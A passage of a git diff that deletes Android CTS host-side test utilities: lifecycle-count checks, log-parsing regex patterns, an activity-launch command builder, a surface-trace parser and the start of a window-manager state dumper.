- if (resultString != null) {
- log("***Waiting for valid lifecycle state: " + resultString);
- try {
- Thread.sleep(1000);
- } catch (InterruptedException e) {
- log(e.toString());
- }
- } else {
- break;
- }
- } while (retriesLeft-- > 0);
-
- assertNull(resultString, resultString);
- }
-
- public void assertSingleStartAndStop(String activityName, String logSeparator) throws DeviceNotAvailableException {
- int retriesLeft = 5;
- String resultString;
- do {
- resultString = validateLifecycleCounts(activityName, logSeparator, 0 /* createCount */,
- 1 /* startCount */, 1 /* resumeCount */, 1 /* pauseCount */, 1 /* stopCount */,
- 0 /* destroyCount */);
- if (resultString != null) {
- log("***Waiting for valid lifecycle state: " + resultString);
- try {
- Thread.sleep(1000);
- } catch (InterruptedException e) {
- log(e.toString());
- }
- } else {
- break;
- }
- } while (retriesLeft-- > 0);
-
- assertNull(resultString, resultString);
- }
-
- void assertSingleStart(String activityName, String logSeparator) throws DeviceNotAvailableException {
- int retriesLeft = 5;
- String resultString;
- do {
- resultString = validateLifecycleCounts(activityName, logSeparator, 0 /* createCount */,
- 1 /* startCount */, 1 /* resumeCount */, 0 /* pauseCount */, 0 /* stopCount */,
- 0 /* destroyCount */);
- if (resultString != null) {
- log("***Waiting for valid lifecycle state: " + resultString);
- try {
- Thread.sleep(1000);
- } catch (InterruptedException e) {
- log(e.toString());
- }
- } else {
- break;
- }
- } while (retriesLeft-- > 0);
-
- assertNull(resultString, resultString);
- }
-
- private String validateLifecycleCounts(String activityName, String logSeparator,
- int createCount, int startCount, int resumeCount, int pauseCount, int stopCount,
- int destroyCount) throws DeviceNotAvailableException {
-
- final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
- logSeparator);
-
- if (lifecycleCounts.mCreateCount != createCount) {
- return activityName + " created " + lifecycleCounts.mCreateCount + " times.";
- }
- if (lifecycleCounts.mStartCount != startCount) {
- return activityName + " started " + lifecycleCounts.mStartCount + " times.";
- }
- if (lifecycleCounts.mResumeCount != resumeCount) {
- return activityName + " resumed " + lifecycleCounts.mResumeCount + " times.";
- }
- if (lifecycleCounts.mPauseCount != pauseCount) {
- return activityName + " paused " + lifecycleCounts.mPauseCount + " times.";
- }
- if (lifecycleCounts.mStopCount != stopCount) {
- return activityName + " stopped " + lifecycleCounts.mStopCount + " times.";
- }
- if (lifecycleCounts.mDestroyCount != destroyCount) {
- return activityName + " destroyed " + lifecycleCounts.mDestroyCount + " times.";
- }
- return null;
- }
-
- private static final Pattern sCreatePattern = Pattern.compile("(.+): onCreate");
- private static final Pattern sStartPattern = Pattern.compile("(.+): onStart");
- private static final Pattern sResumePattern = Pattern.compile("(.+): onResume");
- private static final Pattern sPausePattern = Pattern.compile("(.+): onPause");
- private static final Pattern sConfigurationChangedPattern =
- Pattern.compile("(.+): onConfigurationChanged");
- private static final Pattern sMovedToDisplayPattern =
- Pattern.compile("(.+): onMovedToDisplay");
- private static final Pattern sStopPattern = Pattern.compile("(.+): onStop");
- private static final Pattern sDestroyPattern = Pattern.compile("(.+): onDestroy");
- private static final Pattern sMultiWindowModeChangedPattern =
- Pattern.compile("(.+): onMultiWindowModeChanged");
- private static final Pattern sPictureInPictureModeChangedPattern =
- Pattern.compile("(.+): onPictureInPictureModeChanged");
- private static final Pattern sNewConfigPattern = Pattern.compile(
- "(.+): config size=\\((\\d+),(\\d+)\\) displaySize=\\((\\d+),(\\d+)\\)"
- + " metricsSize=\\((\\d+),(\\d+)\\) smallestScreenWidth=(\\d+) densityDpi=(\\d+)"
- + " orientation=(\\d+)");
- private static final Pattern sDisplayStatePattern =
- Pattern.compile("Display Power: state=(.+)");
- private static final Pattern sCurrentUiModePattern = Pattern.compile("mCurUiMode=0x(\\d+)");
- private static final Pattern sUiModeLockedPattern =
- Pattern.compile("mUiModeLocked=(true|false)");
-
- class ReportedSizes {
- int widthDp;
- int heightDp;
- int displayWidth;
- int displayHeight;
- int metricsWidth;
- int metricsHeight;
- int smallestWidthDp;
- int densityDpi;
- int orientation;
-
- @Override
- public String toString() {
- return "ReportedSizes: {widthDp=" + widthDp + " heightDp=" + heightDp
- + " displayWidth=" + displayWidth + " displayHeight=" + displayHeight
- + " metricsWidth=" + metricsWidth + " metricsHeight=" + metricsHeight
- + " smallestWidthDp=" + smallestWidthDp + " densityDpi=" + densityDpi
- + " orientation=" + orientation + "}";
- }
-
- @Override
- public boolean equals(Object obj) {
- if ( this == obj ) return true;
- if ( !(obj instanceof ReportedSizes) ) return false;
- ReportedSizes that = (ReportedSizes) obj;
- return widthDp == that.widthDp
- && heightDp == that.heightDp
- && displayWidth == that.displayWidth
- && displayHeight == that.displayHeight
- && metricsWidth == that.metricsWidth
- && metricsHeight == that.metricsHeight
- && smallestWidthDp == that.smallestWidthDp
- && densityDpi == that.densityDpi
- && orientation == that.orientation;
- }
- }
-
- ReportedSizes getLastReportedSizesForActivity(String activityName, String logSeparator)
- throws DeviceNotAvailableException {
- int retriesLeft = 5;
- ReportedSizes result;
- do {
- result = readLastReportedSizes(activityName, logSeparator);
- if (result == null) {
- log("***Waiting for sizes to be reported...");
- try {
- Thread.sleep(1000);
- } catch (InterruptedException e) {
- log(e.toString());
- // Well I guess we are not waiting...
- }
- } else {
- break;
- }
- } while (retriesLeft-- > 0);
- return result;
- }
-
- private ReportedSizes readLastReportedSizes(String activityName, String logSeparator)
- throws DeviceNotAvailableException {
- final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
- for (int i = lines.length - 1; i >= 0; i--) {
- final String line = lines[i].trim();
- final Matcher matcher = sNewConfigPattern.matcher(line);
- if (matcher.matches()) {
- ReportedSizes details = new ReportedSizes();
- details.widthDp = Integer.parseInt(matcher.group(2));
- details.heightDp = Integer.parseInt(matcher.group(3));
- details.displayWidth = Integer.parseInt(matcher.group(4));
- details.displayHeight = Integer.parseInt(matcher.group(5));
- details.metricsWidth = Integer.parseInt(matcher.group(6));
- details.metricsHeight = Integer.parseInt(matcher.group(7));
- details.smallestWidthDp = Integer.parseInt(matcher.group(8));
- details.densityDpi = Integer.parseInt(matcher.group(9));
- details.orientation = Integer.parseInt(matcher.group(10));
- return details;
- }
- }
- return null;
- }
-
- class ActivityLifecycleCounts {
- int mCreateCount;
- int mStartCount;
- int mResumeCount;
- int mConfigurationChangedCount;
- int mLastConfigurationChangedLineIndex;
- int mMovedToDisplayCount;
- int mMultiWindowModeChangedCount;
- int mLastMultiWindowModeChangedLineIndex;
- int mPictureInPictureModeChangedCount;
- int mLastPictureInPictureModeChangedLineIndex;
- int mPauseCount;
- int mStopCount;
- int mLastStopLineIndex;
- int mDestroyCount;
-
- public ActivityLifecycleCounts(String activityName, String logSeparator)
- throws DeviceNotAvailableException {
- int lineIndex = 0;
- for (String line : getDeviceLogsForComponent(activityName, logSeparator)) {
- line = line.trim();
- lineIndex++;
-
- Matcher matcher = sCreatePattern.matcher(line);
- if (matcher.matches()) {
- mCreateCount++;
- continue;
- }
-
- matcher = sStartPattern.matcher(line);
- if (matcher.matches()) {
- mStartCount++;
- continue;
- }
-
- matcher = sResumePattern.matcher(line);
- if (matcher.matches()) {
- mResumeCount++;
- continue;
- }
-
- matcher = sConfigurationChangedPattern.matcher(line);
- if (matcher.matches()) {
- mConfigurationChangedCount++;
- mLastConfigurationChangedLineIndex = lineIndex;
- continue;
- }
-
- matcher = sMovedToDisplayPattern.matcher(line);
- if (matcher.matches()) {
- mMovedToDisplayCount++;
- continue;
- }
-
- matcher = sMultiWindowModeChangedPattern.matcher(line);
- if (matcher.matches()) {
- mMultiWindowModeChangedCount++;
- mLastMultiWindowModeChangedLineIndex = lineIndex;
- continue;
- }
-
- matcher = sPictureInPictureModeChangedPattern.matcher(line);
- if (matcher.matches()) {
- mPictureInPictureModeChangedCount++;
- mLastPictureInPictureModeChangedLineIndex = lineIndex;
- continue;
- }
-
- matcher = sPausePattern.matcher(line);
- if (matcher.matches()) {
- mPauseCount++;
- continue;
- }
-
- matcher = sStopPattern.matcher(line);
- if (matcher.matches()) {
- mStopCount++;
- mLastStopLineIndex = lineIndex;
- continue;
- }
-
- matcher = sDestroyPattern.matcher(line);
- if (matcher.matches()) {
- mDestroyCount++;
- continue;
- }
- }
- }
- }
-
- protected void stopTestCase() throws Exception {
- executeShellCommand("am force-stop " + componentName);
- }
-
- protected LaunchActivityBuilder getLaunchActivityBuilder() {
- return new LaunchActivityBuilder(mAmWmState, mDevice);
- }
-
- protected static class LaunchActivityBuilder {
- private final ActivityAndWindowManagersState mAmWmState;
- private final ITestDevice mDevice;
-
- private String mTargetActivityName;
- private String mTargetPackage = componentName;
- private boolean mToSide;
- private boolean mRandomData;
- private boolean mNewTask;
- private boolean mMultipleTask;
- private int mDisplayId = INVALID_DISPLAY_ID;
- private String mLaunchingActivityName = LAUNCHING_ACTIVITY;
- private boolean mReorderToFront;
- private boolean mWaitForLaunched;
-
- public LaunchActivityBuilder(ActivityAndWindowManagersState amWmState,
- ITestDevice device) {
- mAmWmState = amWmState;
- mDevice = device;
- mWaitForLaunched = true;
- }
-
- public LaunchActivityBuilder setToSide(boolean toSide) {
- mToSide = toSide;
- return this;
- }
-
- public LaunchActivityBuilder setRandomData(boolean randomData) {
- mRandomData = randomData;
- return this;
- }
-
- public LaunchActivityBuilder setNewTask(boolean newTask) {
- mNewTask = newTask;
- return this;
- }
-
- public LaunchActivityBuilder setMultipleTask(boolean multipleTask) {
- mMultipleTask = multipleTask;
- return this;
- }
-
- public LaunchActivityBuilder setReorderToFront(boolean reorderToFront) {
- mReorderToFront = reorderToFront;
- return this;
- }
-
- public LaunchActivityBuilder setTargetActivityName(String name) {
- mTargetActivityName = name;
- return this;
- }
-
- public LaunchActivityBuilder setTargetPackage(String pkg) {
- mTargetPackage = pkg;
- return this;
- }
-
- public LaunchActivityBuilder setDisplayId(int id) {
- mDisplayId = id;
- return this;
- }
-
- public LaunchActivityBuilder setLaunchingActivityName(String name) {
- mLaunchingActivityName = name;
- return this;
- }
-
- public LaunchActivityBuilder setWaitForLaunched(boolean shouldWait) {
- mWaitForLaunched = shouldWait;
- return this;
- }
-
- public void execute() throws Exception {
- StringBuilder commandBuilder = new StringBuilder(getAmStartCmd(mLaunchingActivityName));
- commandBuilder.append(" -f 0x20000000");
-
- // Add a flag to ensure we actually mean to launch an activity.
- commandBuilder.append(" --ez launch_activity true");
-
- if (mToSide) {
- commandBuilder.append(" --ez launch_to_the_side true");
- }
- if (mRandomData) {
- commandBuilder.append(" --ez random_data true");
- }
- if (mNewTask) {
- commandBuilder.append(" --ez new_task true");
- }
- if (mMultipleTask) {
- commandBuilder.append(" --ez multiple_task true");
- }
- if (mReorderToFront) {
- commandBuilder.append(" --ez reorder_to_front true");
- }
- if (mTargetActivityName != null) {
- commandBuilder.append(" --es target_activity ").append(mTargetActivityName);
- commandBuilder.append(" --es package_name ").append(mTargetPackage);
- }
- if (mDisplayId != INVALID_DISPLAY_ID) {
- commandBuilder.append(" --ei display_id ").append(mDisplayId);
- }
- executeShellCommand(mDevice, commandBuilder.toString());
-
- if (mWaitForLaunched) {
- mAmWmState.waitForValidState(mDevice, new String[]{mTargetActivityName},
- null /* stackIds */, false /* compareTaskAndStackBounds */, mTargetPackage);
- }
- }
- }
-
- void tearDownLockCredentials() throws Exception {
- if (!mLockCredentialsSet) {
- return;
- }
-
- removeLockCredential();
- // Dismiss active keyguard after credential is cleared, so
- // keyguard doesn't ask for the stale credential.
- pressBackButton();
- sleepDevice();
- wakeUpAndUnlockDevice();
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/StateLogger.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/StateLogger.java
deleted file mode 100644
index 335f26c..0000000
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/StateLogger.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import com.android.tradefed.log.LogUtil.CLog;
-
-import static com.android.ddmlib.Log.LogLevel.INFO;
-import static com.android.ddmlib.Log.LogLevel.ERROR;
-
-/**
- * Util class to perform simple state logging.
- */
-public class StateLogger {
- private static final boolean DEBUG = false;
-
- /** Simple info-level logging gated by {@link #DEBUG} flag */
- public static void log(String logText) {
- if (DEBUG) {
- CLog.logAndDisplay(INFO, logText);
- }
- }
-
- public static void logE(String logText) {
- CLog.logAndDisplay(ERROR, logText);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/SurfaceTraceReceiver.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/SurfaceTraceReceiver.java
deleted file mode 100644
index 8026e80..0000000
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/SurfaceTraceReceiver.java
+++ /dev/null
@@ -1,380 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import com.android.ddmlib.IShellOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.awt.Rectangle;
-import java.io.ByteArrayInputStream;
-import java.io.DataInputStream;
-import java.io.IOException;
-import java.lang.System;
-import junit.framework.Assert;
-
-import static android.server.cts.StateLogger.logE;
-
-// Parses a trace of surface commands from the WM (in real time)
-// and dispenses them via the SurfaceObserver interface.
-//
-// Data enters through addOutput
-public class SurfaceTraceReceiver implements IShellOutputReceiver {
- final SurfaceObserver mObserver;
-
- private State mState = State.CMD;
- private String mCurrentWindowName = null;
- private int mArgPosition = 0;
- private float[] mTmpFloats = new float[10];
- private int[] mTmpInts = new int[10];
- private Rectangle.Float mTmpRect = new Rectangle.Float();
- private byte[] mUnprocessedBytes = new byte[16384];
- private byte[] mFullData = new byte[32768];
- private int mUnprocessedBytesLength;
-
- private boolean mCancelled = false;
-
- interface SurfaceObserver {
- default void setAlpha(String windowName, float alpha) {}
- default void setLayer(String windowName, int layer) {}
- default void setPosition(String windowName, float x, float y) {}
- default void setSize(String widnowName, int width, int height) {}
- default void setLayerStack(String windowName, int layerStack) {}
- default void setMatrix(String windowName, float dsdx, float dtdx, float dsdy, float dtdy) {}
- default void setCrop(String windowName, Rectangle.Float crop) {}
- default void setFinalCrop(String windowName, Rectangle.Float finalCrop) {}
- default void hide(String windowName) {}
- default void show(String windowName) {}
- default void setGeometryAppliesWithResize(String windowName) {}
- default void openTransaction() {}
- default void closeTransaction() {}
- };
-
- enum State {
- CMD,
- SET_ALPHA,
- SET_LAYER,
- SET_POSITION,
- SET_SIZE,
- SET_CROP,
- SET_FINAL_CROP,
- SET_LAYER_STACK,
- SET_MATRIX,
- HIDE,
- SHOW,
- GEOMETRY_APPLIES_WITH_RESIZE
- };
-
- SurfaceTraceReceiver(SurfaceObserver observer) {
- mObserver = observer;
- }
-
- // Reset state and prepare to accept a new command.
- void nextCmd(DataInputStream d) {
- mState = State.CMD;
- mCurrentWindowName = null;
- mArgPosition = 0;
-
- try {
- // Consume the sigil
- d.readByte();
- d.readByte();
- d.readByte();
- d.readByte();
- } catch (Exception e) {
- logE("Exception consuming sigil: " + e);
- }
- }
-
- // When the command parsing functions below are called, the window name
- // will already be parsed. The responsibility of these functions
- // is to parse other arguments 1 by 1 and accumlate them until the appropriate number
- // is reached. At that point the parser should emit an event to the observer and
- // call nextCmd
- void parseAlpha(DataInputStream d) throws IOException {
- float alpha = d.readFloat();
- mObserver.setAlpha(mCurrentWindowName, alpha);
- nextCmd(d);
- }
-
- void parseLayer(DataInputStream d) throws IOException {
- int layer = d.readInt();
- mObserver.setLayer(mCurrentWindowName, layer);
- nextCmd(d);
- }
-
- void parsePosition(DataInputStream d) throws IOException {
- mTmpFloats[mArgPosition] = d.readFloat();
- mArgPosition++;
- if (mArgPosition == 2) {
- mObserver.setPosition(mCurrentWindowName, mTmpFloats[0], mTmpFloats[1]);
- nextCmd(d);
- }
- }
-
- void parseSize(DataInputStream d) throws IOException {
- mTmpInts[mArgPosition] = d.readInt();
- mArgPosition++;
- if (mArgPosition == 2) {
- mObserver.setSize(mCurrentWindowName, mTmpInts[0], mTmpInts[1]);
- nextCmd(d);
- }
- }
-
- // Careful Android rectangle rep is top-left-right-bottom awt is top-left-width-height
- void parseCrop(DataInputStream d) throws IOException {
- mTmpFloats[mArgPosition] = d.readFloat();
- mArgPosition++;
- if (mArgPosition == 4) {
- mTmpRect.setRect(mTmpFloats[0], mTmpFloats[1], mTmpFloats[2]-mTmpFloats[0],
- mTmpFloats[3]-mTmpFloats[1]);
- mObserver.setCrop(mCurrentWindowName, mTmpRect);
- nextCmd(d);
- }
- }
-
- void parseFinalCrop(DataInputStream d) throws IOException {
- mTmpFloats[mArgPosition] = d.readInt();
- mArgPosition++;
- if (mArgPosition == 4) {
- mTmpRect.setRect(mTmpFloats[0], mTmpFloats[1], mTmpFloats[2]-mTmpFloats[0],
- mTmpFloats[3]-mTmpFloats[1]);
- mObserver.setFinalCrop(mCurrentWindowName, mTmpRect);
- nextCmd(d);
- }
- }
-
- void parseLayerStack(DataInputStream d) throws IOException {
- int layerStack = d.readInt();
- mObserver.setLayerStack(mCurrentWindowName, layerStack);
- nextCmd(d);
- }
-
- void parseSetMatrix(DataInputStream d) throws IOException {
- mTmpFloats[mArgPosition] = d.readFloat();
- mArgPosition++;
- if (mArgPosition == 4) {
- mObserver.setMatrix(mCurrentWindowName, mTmpFloats[0],
- mTmpFloats[1], mTmpFloats[2], mTmpFloats[3]);
- nextCmd(d);
- }
- }
-
- void parseHide(DataInputStream d) throws IOException {
- mObserver.hide(mCurrentWindowName);
- nextCmd(d);
- }
-
- void parseShow(DataInputStream d) throws IOException {
- mObserver.show(mCurrentWindowName);
- nextCmd(d);
- }
-
- void parseGeometryAppliesWithResize(DataInputStream d) throws IOException {
- mObserver.setGeometryAppliesWithResize(mCurrentWindowName);
- nextCmd(d);
- }
-
- public int indexAfterLastSigil(byte[] data, int offset, int length) {
- int idx = offset + length - 1;
- int sigilsNeeded = 4;
- byte sigil = (byte)0xfc;
- while (idx > offset) {
- if (data[idx] == sigil) {
- sigilsNeeded--;
- if (sigilsNeeded == 0) {
- return idx+4;
- }
- } else {
- sigilsNeeded = 4;
- }
- idx--;
- }
- return idx; // idx == offset at this point
- }
-
- // The tricky bit here is ADB may break up our words, and not send us complete messages,
- // or even complete integers! To ensure we process the data in appropciate chunks,
- // We look for a sigil (0xfcfcfcfc) and only process data when it ends in as igil.
- // Otherwise we save it and wait to receive a sigil, then process the merged data.
- public void addOutput(byte[] data, int offset, int length) {
- byte[] combinedData = data;
-
- // First we have to merge any unprocessed bytes from the last call in to
- // a combined array.
- if (mUnprocessedBytesLength > 0) {
- System.arraycopy(mUnprocessedBytes, 0, mFullData, 0, mUnprocessedBytesLength);
- System.arraycopy(data, offset, mFullData, mUnprocessedBytesLength, length);
- combinedData = mFullData;
- length = mUnprocessedBytesLength + length;
- offset = 0;
- mUnprocessedBytesLength = 0;
- }
-
- // Now we find the last sigil in our combined array. Everything before this index is
- // a properly terminated message ready to be parsed.
- int completedIndex = indexAfterLastSigil(combinedData, offset, length);
- // If there are any bytes left after the last sigil, save them for next time.
- if (completedIndex != length + offset) {
- mUnprocessedBytesLength = (length+offset)-(completedIndex);
- System.arraycopy(combinedData, completedIndex,
- mUnprocessedBytes, 0, mUnprocessedBytesLength);
- }
- // If there was no sigil, we have nothing to process yet.
- if (completedIndex <= offset) {
- return;
- }
- ByteArrayInputStream b = new ByteArrayInputStream(combinedData, offset, completedIndex - offset);
- DataInputStream d = new DataInputStream(b);
-
- // We may not receive an entire message at once (for example we may receive
- // a command without its arguments), so we track our current state, over multiple
- // addOutput calls. When we are in State.CMD it means we next expect a new command.
- // If we are not expecting a command, then all commands with arguments, begin with
- // a window name. Once we have the window name, individual parseAlpha,
- // parseLayer, etc...statements will parse command arguments one at a time. Once
- // the appropriate number of arguments is collected the observer will be invoked
- // and the state reset. For commands which have no arguments (e.g. open/close transaction),
- // parseCmd can emit the observer event and call nextCmd() right away.
- try {
- while (b.available() > 0) {
- if (mState != State.CMD && mCurrentWindowName == null) {
- mCurrentWindowName = d.readUTF();
- if (b.available() == 0) {
- return;
- }
- }
- switch (mState) {
- case CMD: {
- String cmd = d.readUTF();
- parseCmd(d, cmd);
- break;
- }
- case SET_ALPHA: {
- parseAlpha(d);
- break;
- }
- case SET_LAYER: {
- parseLayer(d);
- break;
- }
- case SET_POSITION: {
- parsePosition(d);
- break;
- }
- case SET_SIZE: {
- parseSize(d);
- break;
- }
- case SET_CROP: {
- parseCrop(d);
- break;
- }
- case SET_FINAL_CROP: {
- parseFinalCrop(d);
- break;
- }
- case SET_LAYER_STACK: {
- parseLayerStack(d);
- break;
- }
- case SET_MATRIX: {
- parseSetMatrix(d);
- break;
- }
- case HIDE: {
- parseHide(d);
- break;
- }
- case SHOW: {
- parseShow(d);
- break;
- }
- case GEOMETRY_APPLIES_WITH_RESIZE: {
- parseGeometryAppliesWithResize(d);
- break;
- }
- }
- }
- } catch (Exception e) {
- logE("Error in surface trace receiver: " + e.toString());
- }
- }
-
- void parseCmd(DataInputStream d, String cmd) {
- switch (cmd) {
- case "Alpha":
- mState = State.SET_ALPHA;
- break;
- case "Layer":
- mState = State.SET_LAYER;
- break;
- case "Position":
- mState = State.SET_POSITION;
- break;
- case "Size":
- mState = State.SET_SIZE;
- break;
- case "Crop":
- mState = State.SET_CROP;
- break;
- case "FinalCrop":
- mState = State.SET_FINAL_CROP;
- break;
- case "LayerStack":
- mState = State.SET_LAYER_STACK;
- break;
- case "Matrix":
- mState = State.SET_MATRIX;
- break;
- case "Hide":
- mState = State.HIDE;
- break;
- case "Show":
- mState = State.SHOW;
- break;
- case "GeometryAppliesWithResize":
- mState = State.GEOMETRY_APPLIES_WITH_RESIZE;
- break;
- case "OpenTransaction":
- mObserver.openTransaction();
- nextCmd(d);
- break;
- case "CloseTransaction":
- mObserver.closeTransaction();
- nextCmd(d);
- break;
- default:
- Assert.fail("Unexpected surface command: " + cmd);
- break;
- }
- }
-
- @Override
- public void flush() {
- }
-
- void cancel() {
- mCancelled = true;
- }
-
- @Override
- public boolean isCancelled() {
- return mCancelled;
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/WindowManagerState.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/WindowManagerState.java
deleted file mode 100644
index c112a14..0000000
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/WindowManagerState.java
+++ /dev/null
@@ -1,1152 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.server.cts.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
-import static android.server.cts.StateLogger.log;
-import static android.server.cts.StateLogger.logE;
-
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-
-import java.awt.*;
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.Comparator;
-import java.util.HashMap;
-import java.util.LinkedList;
-import java.util.List;
-import java.util.Map;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-public class WindowManagerState {
-
- public static final String TRANSIT_ACTIVITY_OPEN = "TRANSIT_ACTIVITY_OPEN";
- public static final String TRANSIT_ACTIVITY_CLOSE = "TRANSIT_ACTIVITY_CLOSE";
- public static final String TRANSIT_TASK_OPEN = "TRANSIT_TASK_OPEN";
- public static final String TRANSIT_TASK_CLOSE = "TRANSIT_TASK_CLOSE";
-
- public static final String TRANSIT_WALLPAPER_OPEN = "TRANSIT_WALLPAPER_OPEN";
- public static final String TRANSIT_WALLPAPER_CLOSE = "TRANSIT_WALLPAPER_CLOSE";
- public static final String TRANSIT_WALLPAPER_INTRA_OPEN = "TRANSIT_WALLPAPER_INTRA_OPEN";
- public static final String TRANSIT_WALLPAPER_INTRA_CLOSE = "TRANSIT_WALLPAPER_INTRA_CLOSE";
-
- public static final String TRANSIT_KEYGUARD_GOING_AWAY = "TRANSIT_KEYGUARD_GOING_AWAY";
- public static final String TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER =
- "TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER";
- public static final String TRANSIT_KEYGUARD_OCCLUDE = "TRANSIT_KEYGUARD_OCCLUDE";
- public static final String TRANSIT_KEYGUARD_UNOCCLUDE = "TRANSIT_KEYGUARD_UNOCCLUDE";
-
- public static final String APP_STATE_IDLE = "APP_STATE_IDLE";
-
- private static final String DUMPSYS_WINDOW = "dumpsys window -a";
-
- private static final Pattern sWindowPattern =
- Pattern.compile("Window #(\\d+) Window\\{([0-9a-fA-F]+) u(\\d+) (.+)\\}\\:");
- private static final Pattern sStartingWindowPattern =
- Pattern.compile("Window #(\\d+) Window\\{([0-9a-fA-F]+) u(\\d+) Starting (.+)\\}\\:");
- private static final Pattern sExitingWindowPattern =
- Pattern.compile("Window #(\\d+) Window\\{([0-9a-fA-F]+) u(\\d+) (.+) EXITING\\}\\:");
- private static final Pattern sDebuggerWindowPattern =
- Pattern.compile("Window #(\\d+) Window\\{([0-9a-fA-F]+) u(\\d+) Waiting For Debugger: (.+)\\}\\:");
-
- private static final Pattern sFocusedWindowPattern = Pattern.compile(
- "mCurrentFocus=Window\\{([0-9a-fA-F]+) u(\\d+) (\\S+)\\}");
- private static final Pattern sAppErrorFocusedWindowPattern = Pattern.compile(
- "mCurrentFocus=Window\\{([0-9a-fA-F]+) u(\\d+) Application Error\\: (\\S+)\\}");
- private static final Pattern sWaitingForDebuggerFocusedWindowPattern = Pattern.compile(
- "mCurrentFocus=Window\\{([0-9a-fA-F]+) u(\\d+) Waiting For Debugger\\: (\\S+)\\}");
-
- private static final Pattern sFocusedAppPattern =
- Pattern.compile("mFocusedApp=AppWindowToken\\{(.+) token=Token\\{(.+) "
- + "ActivityRecord\\{(.+) u(\\d+) (\\S+) (\\S+)");
- private static final Pattern sStableBoundsPattern = Pattern.compile(
- "mStable=\\((\\d+),(\\d+)\\)-\\((\\d+),(\\d+)\\)");
- private static final Pattern sDefaultPinnedStackBoundsPattern = Pattern.compile(
- "defaultBounds=\\[(\\d+),(\\d+)\\]\\[(\\d+),(\\d+)\\]");
- private static final Pattern sPinnedStackMovementBoundsPattern = Pattern.compile(
- "movementBounds=\\[(\\d+),(\\d+)\\]\\[(\\d+),(\\d+)\\]");
- private static final Pattern sRotationPattern = Pattern.compile(
- "mRotation=(\\d).*");
- private static final Pattern sLastOrientationPattern = Pattern.compile(
- ".*mLastOrientation=(\\d)");
-
- private static final Pattern sLastAppTransitionPattern =
- Pattern.compile("mLastUsedAppTransition=(.+)");
- private static final Pattern sAppTransitionStatePattern =
- Pattern.compile("mAppTransitionState=(.+)");
-
- private static final Pattern sStackIdPattern = Pattern.compile("mStackId=(\\d+)");
-
- private static final Pattern sInputMethodWindowPattern =
- Pattern.compile("mInputMethodWindow=Window\\{([0-9a-fA-F]+) u\\d+ .+\\}.*");
-
- private static final Pattern sDisplayIdPattern =
- Pattern.compile("Display: mDisplayId=(\\d+)");
-
- private static final Pattern sDisplayFrozenPattern =
- Pattern.compile("mDisplayFrozen=([a-z]*) .*");
-
- private static final Pattern sDockedStackMinimizedPattern =
- Pattern.compile("mMinimizedDock=([a-z]*)");
-
- private static final Pattern[] sExtractStackExitPatterns = {
- sStackIdPattern, sWindowPattern, sStartingWindowPattern, sExitingWindowPattern,
- sDebuggerWindowPattern, sFocusedWindowPattern, sAppErrorFocusedWindowPattern,
- sWaitingForDebuggerFocusedWindowPattern,
- sFocusedAppPattern, sLastAppTransitionPattern, sDefaultPinnedStackBoundsPattern,
- sPinnedStackMovementBoundsPattern, sDisplayIdPattern, sDockedStackMinimizedPattern};
-
- // Windows in z-order with the top most at the front of the list.
- private List<WindowState> mWindowStates = new ArrayList();
- // Stacks in z-order with the top most at the front of the list, starting with primary display.
- private final List<WindowStack> mStacks = new ArrayList();
- // Stacks on all attached displays, in z-order with the top most at the front of the list.
- private final Map<Integer, List<WindowStack>> mDisplayStacks
- = new HashMap<>();
- private List<Display> mDisplays = new ArrayList();
- private String mFocusedWindow = null;
- private String mFocusedApp = null;
- private String mLastTransition = null;
- private String mAppTransitionState = null;
- private String mInputMethodWindowAppToken = null;
- private Rectangle mStableBounds = new Rectangle();
- private final Rectangle mDefaultPinnedStackBounds = new Rectangle();
- private final Rectangle mPinnedStackMovementBounds = new Rectangle();
